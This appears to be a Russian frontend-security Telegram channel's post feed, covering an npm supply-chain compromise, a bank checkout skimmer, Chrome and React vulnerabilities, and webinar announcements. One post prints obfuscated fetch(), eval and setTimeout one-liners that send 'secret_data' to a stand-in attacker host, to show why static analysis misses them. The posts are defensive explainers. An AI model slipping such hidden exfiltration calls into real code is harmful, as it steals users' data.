FrontSecOps – Telegram
FrontSecOps
785 subscribers
56 photos
7 videos
1 file
45 links
Безопасность и безопасная разработка frontend-приложений. Актуальные риски и методы защиты современных js-приложений.

По всем вопросам @mkparfenov
Download Telegram
Очередная frontend-катастрофа в npm 💣

Вредоносный js-код добавлен в 18+ npm-зависимостей для frontend-приложений. Суммарно эти зависимости имеют более 2 миллиардов загрузок в неделю.
backslash (0.26m downloads per week)
chalk-template (3.9m downloads per week)
supports-hyperlinks (19.2m downloads per week)
has-ansi (12.1m downloads per week)
simple-swizzle (26.26m downloads per week)
color-string (27.48m downloads per week)
error-ex (47.17m downloads per week)
color-name (191.71m downloads per week)
is-arrayish (73.8m downloads per week)
slice-ansi (59.8m downloads per week)
color-convert (193.5m downloads per week)
wrap-ansi (197.99m downloads per week)
ansi-regex (243.64m downloads per week)
supports-color (287.1m downloads per week)
strip-ansi (261.17m downloads per week)
chalk (299.99m downloads per week)
debug (357.6m downloads per week)
ansi-styles (371.41m downloads per week)

Атака типичная: фишинговое письмо 🤒 разработчику "от имени npm", кража токена, публикация вредоносной версии библиотеки от имени разработчика (также как в инцидентах solana/web3.js , lottie-player).

Код злоумышленников переопределял функции для отправки сетевых запросов fetch, XMLHttpRequest, и API кошельков (window.ethereum, Solana и др.), анализировал запросы/ответы и на лету подменял получателя в криптовалютных транзакциях.

Цель злоумышленников - frontend-приложения с функциями перевода криптовалюты 💸. В других приложениях непосредственно деструктивные действия не выполняются (хотя иногда злоумышленники кроме целевых, добавляют всенаправленные вредоносные нагрузки, например js-сниффер отправленных форм в инциденте Flibusta).

⚠️ Не всегда подобные инциденты освещаются во всех новостях как в этот раз. И в фидах SCA-вендоров тоже может не быть такой информации в следующих случаях.

1️⃣ Непопулярные библиотеки и форки
2️⃣ Разработчик сам добавляет вредоносный код в библиотеку (polyfill.js, colors и faker)
3️⃣ Мейнтейнеры не заметили, что вредоносный код был добавлен одним из них
4️⃣ Вредоносную библиотеку использует внешний js-сервис, который используется в нашем приложении
5️⃣ Ситуация может осложняться запуском вредоносного кода по условию, например по дате, допустим через 6 месяцев , чтобы скомпрометированная версия распространилась по большинству "живых" frontend-приложений по всему миру 🌍

В этих случаях вредоносный js-код может месяцами 📆 присутствовать в наших frontend-приложениях, если мы не анализируем поведение приложения до релиза и регулярно после релиза в продуктиве.

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍1
Фреймворк моделирования угроз для frontend-приложений

В классическом понимании "взламывать/атаковать" frontend-приложение (белый ящик 🥡, выполняющийся в неконтролируемой зоне - браузере пользователя 🖥) не имеет смысла. На безопасность frontend-приложений следует смотреть с точки зрения "Что будет, если злоумышленник сможет внедрить свой код 🦠 к нам в приложение?"

А способов внедрить код (векторов) множество, и XSS - только один из них, причем далеко не самый критичный. Способов монетизации - десятки, поэтому мы регулярно видим крупные инциденты в frontend-приложениях 💰

Существующие подходы и каталоги угроз слабо применимы для frontend-приложений. Это приводит к непониманию векторов проникновения вредоносного кода в приложения, способов его монетизации и последствий для бизнеса 😣

DPA Analytics опубликовали фреймворк моделирования угроз для frontend-приложений. О самом фреймворке я рассказывал в докладе на PHDays 2025. Мы визуализировали его в виде Frontend Kill Chain (по принципу MITRE ATT&CK Matrix и Lockheed Martin's Cyber Kill Chain).

Скачать визуализацию можно здесь:
📄 DPA Frontend Threat Modeling Framework v1.0.0.pdf

Построить модель угроз по фреймворку для своего приложения можно в бесплатном онлайн сервисе:
☺️ Онлайн-сервис для моделирования угроз

Важно! ⚠️ Полностью защититься от всех векторов на этапе разработки/тестирования невозможно. Поэтому контролировать безопасность frontend-приложения (с помощью анализа поведения) необходимо как до релиза, так и регулярно после релиза в продакшене.

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍5
Результаты исследования безопасности российских frontend-приложений

Мы опубликовали исследование безопасности российских frontend-приложений 🖥 за 1 полугодие 2025 года.

Были проверены приложения более 3000 крупнейших коммерческих российских компаний. С учетом актуальных угроз, известных инцидентов и повышения штрафов за невыполнение 152-ФЗ текущая оценка является неудовлетворительной

⚠️ 64 % загружают скрипты с хостов за пределами РФ
⚠️ 71 % отправляют сетевые запросы на зарубежные хосты
⚠️ 7/100 эффективность конфигурации Content Security Policy (CSP)
⚠️ 50 % вызывают высокорисковые API браузера, что может быть признаком наличия в приложении вредоносного кода 🦠
⚠️ > 70% компаний рискуют получить штрафы от 1 до 18 млн. руб. 💸 за сбор ПД 🪪 с использованием баз данных, размещенных за пределами РФ

Средняя оценка безопасности по всем отраслям: 39 из 100

Средняя оценка в категории онлайн-банков - 77 из 100 ⚠️; лучше чем по другим отраслям, но с учетом критичности данных приложений, этого явно не достаточно.

Полный отчет об исследовании доступен по ссылке:
📄 dpa-frontend-security-research-half-year-2025.pdf

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👍3😨2
Всем привет! Мои ближайшие доклады:

🔸Frontend Conf
21.10 (вторник) 18:00 (МСК), зал "Кинетика", 1 этаж, оффлайн
"JS-снифферы приходят к нам через NPM. Как обнаружить вредоносные действия до релиза?"

🔸CyberCamp
23.10 (четверг) 11:00 (МСК), онлайн
"Моделирование угроз для frontend-приложения: делаем каждый релиз Secure By Design"

🔸SOC FORUM
20.11 (четверг) 12:00 (МСК), онлайн и оффлайн
"JS-снифферы приходят в наши приложения с NPM-зависимостями. Как использовать браузер-песочницу для обнаружения вредоносных действий до релиза?"
👍42
Вебинар по FAST-анализатору 12 ноября в 11:00 МСК

12 ноября в 11:00 МСК проведу бесплатный вебинар, где обсудим, почему в реальных инцидентах вредоносный код (js-скрипты) присутствует на веб-страницах месяцами и успешно похищает данные прямо в браузере пользователя.

На вебинаре обсудим:

🔸Актуальные угрозы: как и зачем внедряют вредоносный код в frontend-приложения и веб-страницы?

🔸Почему браузер пользователя - "слепая" зона для ИБ и идеальная точка монетизации для злоумышленника?

🔸Почему SAST, DAST, SCA, WAF, NGFW не выявляют такие угрозы и примеры реальных инцидентов?

🔸Подход Frontend Application Security Testing (FAST) и первый российский FAST-анализатор.

🔸Демо: как DPA FAST Analyzer обнаруживает вредоносное поведение js-кода и устраняет "слепую" зону.

🔸Как встроить проверки на всех этапах SSDLC/DevSecOps/РБПО и прийти к Secure by Design?

Можно будет задать вопросы и получить практические рекомендации по безопасности frontend-приложений.

Зарегистрируйтесь, чтобы получить ссылку на вебинар и запись после него

Дата: 12 ноября (среда)
Время: 11:00 МСК
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥61
Может ли SAST обнаружить вредоносный код?

Часто встречаю мнение, что применение статического анализа кода (SAST) является достаточной проверкой на наличие вредоносного кода 🦠 в frontend-приложении, в том числе в зависимостях. Давайте посмотрим, почему это не так.

1️⃣ Задача SAST - поиск в коде неких антипаттернов (уязвимостей): отсутствие санитизации ввода/вывода и прочее.

2️⃣ В случае с frontend-приложениями вредоносные действия не отличаются от бизнес логики. Например, js-сниффер получает данные из формы и отправляет запрос к API (на хост злоумышленника), чтобы украсть данные 🪪. Это ничем не отличается от легитимного обработчика формы (кроме хоста получателя запроса).

3️⃣ "Из коробки" SAST не содержит правил, которые показывают все отправки данных в js-коде 🔍

4️⃣ Попробуем написать правило сами? Например, найдем все вызовы функции fetch() и будем проверять, что там нет "плохих" URL. Кто использует такие правила?

5️⃣ В JavaScript есть различные трюки для вызова функций без указания их имени, вот примеры вызова той же функции fetch(). Вставьте в консоль браузера для проверки. Сможем написать правило, которое обнаружит все эти вызовы?

fetch('https://attacker.dspdemo.ru/leak?d=secret_data_1');

window['fet' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_2');

this['\x66' + 'et' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_3');

this['\x66' + String.fromCharCode(new Date().getFullYear() - 1900 - 24) + 't' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_4');

globalThis['fetch']('https://attacker.dspdemo.ru/leak?d=secret_data_5');

Reflect.get(window, 'fetch')('https://attacker.dspdemo.ru/leak?d=secret_data_6');


6️⃣ В JavaScript есть 26+ способов отправки сетевых запросов: fetch, xhr, websocket, eventsource (connect), navigation, create element (img, iframe), css и другие. Все эти функции можно вызывать как в предыдущем пункте.

7️⃣ Т.к. код вредоносный, злоумышленник будет использовать техники скрытия вызовов 🤒, а векторов попадания вредоносного кода в приложение множество.

8️⃣ SAST не выполняет код, поэтому не видит, что внутри eval('code') (функция динамической интерпретации кода из строки). eval() тоже можно вызвать так, что SAST не найдет.

eval("fetch('https://attacker.dspdemo.ru/leak?d=secret_data_7')");

await (new Function('u', 'return fetch(u)'))('https://attacker.dspdemo.ru/leak?d=secret_data_8');

setTimeout(`(globalThis['f' + String.fromCharCode(101) + 't' + String.fromCharCode(99) + 'h'])('https://attacker.dspdemo.ru/leak?d=secret_data_9')`, 1000);


9️⃣ Даже, если мы напишем правила, которые "достоверно" обнаружат в коде все отправки сетевых запросов, мы получим десятки тысяч ложных срабатываний 🌡 (т.к. createElement - основа любого frontend-приложения).

1️⃣0️⃣ Про зависимости, кто-то анализировал SAST-ом папку node_modules? Было полезно? 😁

Таким образом, применение SAST вообще не гарантирует, что в коде frontend-приложения нет js-снифферов, майнеров, показа фишинговых баннеров и других угроз. Да и поиск вредоносного кода никогда не являлся задачей SAST-анализаторов (из коробки). Анализ поведения кода - задача FAST-анализатора, где сетевые запросы обнаруживаются на уровне ядра браузера, где представление кода не имеет значения.

Завтра (12.11.2025) в 11:00 МСК на вебинаре обсудим почему SAST, DAST, SCA, WAF не снижают риски для frontend-приложений, в реальных инцидентах вредоносный код месяцами крадет данные пользователей в браузере и покажу ДЕМО FAST-анализатора ☺️

Регистрация на вебинар

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5
Media is too big
VIEW IN TELEGRAM
Запись вебинара FAST: Безопасность frontend-приложений от модели угроз до продакшена в SSDLC/DevSecOps и демонстрация DPA FAST Analyzer ☺️

Часть 1. Безопасность frontend-приложений

00:00 Вступление
01:00 Бэкенд и фронтенд, уязвимости или вредоносный код, что важнее?
05:54 Зачем злоумышленникам внедрять вредоносный код в наши приложения? 💰
09:07 Вектора попадания вредоносного кода
11:25 Фреймворк моделирования угроз Frontend Kill Chain
12:46 Компоненты приложения
13:20 Размер код и npm-зависимости
15:06 Минификация и обфускация 📱
15:32 Обзор инцидентов
22:03 Как через фронтенд заражают корп. сети без доступа в интернет?
23:26 Российские приложения готовы к этим угрозам? Результаты исследования
27:43 Резюме по безопасности frontend-приложений
28:48 Почему SAST, SCA, DAST не обнаруживают актуальные угрозы?
33:20 Концепция Frontend Application Security Testing (FAST)
35:12 Как работает FAST-анализатор?

Часть 2. Демо FAST-анализатора

41:14 Демо приложение на React
42:01 Запуск сканирования в FAST-анализаторе DPA FAST Analyzer 🔎
42:32 Как записать сценарий сканирования в Chrome DevTools Recorder 📱
44:18 Результаты первого скана и создание разрешающего профиля поведения
47:33 Добавляем вредоносный код 🦠
49:09 Что делает этот вредоносный код?
50:30 Вредоносное поведение обнаружено по нескольким аномалиям 🆘
53:12 Интерфейс инвентаризации скриптов

Часть 3. FAST в DevSecOps

53:52 FAST в DevSecOps
54:38 Эффект от внедрения FAST-анализатора 🛡
55:55 Требования регуляторов
56:58 Полезные ссылки

58:18 Как запросить пилот FAST-анализатора
58:35 Как сканировать FAST-ом без сценариев. Демо "ручного" сканирования 🖥
01:00:37 Оценка безопасности приложений в FAST-анализаторе

01:01:05 Ответы на вопросы

Смотрите запись вебинара в этом посте или на любых площадках:
📹 YT 📺 VK 📺 RT

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥121
Седьмой zeroday в Chrome за 2025 год

CVE-2025-13223 - уязвимость в V8 - открытие в браузере специально сформированной HTML-страницы приводит к выполнению произвольного кода на устройстве пользователя. Далее - шифровальщик, RAT и т.д. Если пользователь находится в корпоративной сети, это может привести к уничтожению всех данных компании, что мы уже видели в нескольких крупных инцидентах в этом году 💥

Эксплойт уже существует и используется злоумышленниками в реальных атаках 💣

Конечно, "плохие парни" могут создавать вредоносные страницы и "заманивать" туда пользователей через фишинг, но гораздо привлекательнее для злоумышленников - внедрить вредоносный код в frontend-приложения с целевой/большой посещаемостью.

Зависимости frontend-приложения - идеальный вектор для проникновения вредоносного кода в frontend-приложения, даже в приложения, доступные только внутри корпоративной сети (HRM, CRM и т.п.). В корпоративных сетях без интернета браузеры могут отставать от актуальной версии на несколько месяцев/лет 📆 (видел такое неоднократно).

Для снижения риска необходимо обновить Chrome 📱 до актуальной версии (142.0.7444.175) и регулярно проверять frontend-приложения FAST-анализатором ☺️

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5👾3🔥21
⚠️⚠️⚠️ Критическая уязвимость в React Server Components и Next.js

Небезопасная десериализация, RCE. Специально сформированный HTTP-запрос неаутентифицированного пользователя приводит к выполнению произвольного кода на сервере ♥️

CVE-2025-55182 / CVSS 10.0 ☄️
Эксплойт доступен 💣

Уязвимость присутствует в версиях 19.0, 19.1.0, 19.1.1 и 19.2.0 пакетов:
🔸 react-server-dom-webpack
🔸 react-server-dom-parcel
🔸 react-server-dom-turbopack

Уязвимость затрагивает как минимум: next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc и rwsdk.

Патчи опубликованы, необходимо срочно обновляться, если используются соответствующие серверные функции. И следить, что будет происходить в ближайшие дни.

Подробности:
🔸 https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
🔸 https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥75👏2
В среду 28 января в 11:00 МСК в прямом эфире AM Live будем говорить об актуальных угрозах и средствах защиты веб-приложений 🛡

Обсудим:

🔸Цель злоумышленников, что монетизируют в первую очередь?

🔸Что важнее? WAF, Frontend Security, Anti DDOS/Bot, защита API, процессы/инвентаризация, безопасность мобильных приложений, SSDLC/РБПО?

🔸Как при внедренном WAF и защите API вредоносный скрипт на фронтенде может месяцами похищать персональные данные пользователей?

Участие бесплатное, регистрация по ссылке 🔗
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3
В крупнейшем банке США 😒 (топ 3 ↗️) в интернет-магазине для сотрудников был обнаружен js-сниффер/кейлогер 🦠

Интернет-магазин могли использовать до 200 000 сотрудников банка. Сниффер перехватывал данные банковских карт, логины/пароли пользователей, адрес доставки товара и другие данные, введенные в формы 🪪

Что делал вредоносный код?

🔹В код страниц был внедрен inline-скрипт (загрузчик) 📱, он проверял, что страница является страницей подтверждения заказа (наличие "checkout" в URL).

🔹Если да, то на страницу динамически загружался с внешнего хоста сам js-сниффер ⬇️ (URL https://js-csp[.]com/getInjector/).

🔹Сниффер перехватывал содержимое полей (элементы input, textarea, select) формы оплаты/аутентификации/регистрации/оформления заказа. Во многих популярных движках интернет-магазинов все эти формы находятся на странице подтверждения заказа.

🔹Для отправки украденных данных на хост злоумышленника на странице динамически создавался элемент IMG. Украденные данные кодировались в base64 и передавались в GET-параметрах (https://js-csp[.]com/fetchData/?data=<base64>&loc=<origin>) 🔼

🔸1 декабря 2025 - регистрация доменного имени злоумышленников.
🔸14 января 2026 - js-сниффер обнаружен компанией Sansec, уведомление банка.
🔸15 января 2026 - вредоносный скрипт удален из приложения.

Наиболее вероятно, что это результат взлома CMS интернет-магазина через эксплуатацию уязвимостей либо украденную учетную запись администратора.

⚠️ Обратите внимание, что в скрипте-загрузчике строка с URL js-сниффера закодирована через использование массива с кодами каждого символа строки. Это самый примитивный способ, но даже он делает статический анализ (SAST) не эффективным для обнаружения вредоносного кода в frontend-приложениях.

Время присутствия: от 1 до 45 дней
Обнаружение инцидента: уведомление от сторонней компании и публикации в СМИ.

DPA Frontend Threat Modeling Framework (Frontend Kill Chain) :
Вектор:
🔹T-3: Компрометация сервера приложения
Способ реализации:
🔹T-27: Кража персональных данных
🔹T-26: Кража токенов/секретов/учетных данных и отправка на хост злоумышленника
🔹T-45: Вредоносный код выполняется только при определенном действии (клик по кнопке логин/оплатить/отправить).

При использовании анализатора класса FAST (Frontend Application Security Testing) данный инцидент мог быть обнаружен в течение 1-3 часов (в зависимости от частоты сканирования) после добавления вредоносного скрипта в приложение, а при использовании FOP - через 1 минуту.

@FrontSecOps
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍4
4 февраля 2026 (среда) в 16:00 МСК в рамках цикла вебинаров "Вокруг РБПО за 25 вебинаров: ГОСТ Р 56939-2024" от PVS-Studio провожу вебинар:

Безопасность frontend-приложений: особенности, угрозы и анализаторы класса FAST (Frontend Application Security Testing)

Рассмотрим актуальные угрозы, фреймворк МУ Frontend Kill Chain, обсудим, почему классические анализаторы имеют низкую достоверность для frontend-приложений, и как использовать FAST-анализатор в процессе РБПО по ГОСТ Р 56939-2024.

Дата: 4 февраля (среда)
Время: 16:00 МСК

Регистрация на вебинар:
https://pvs-studio.ru/ru/webinar/rbpo/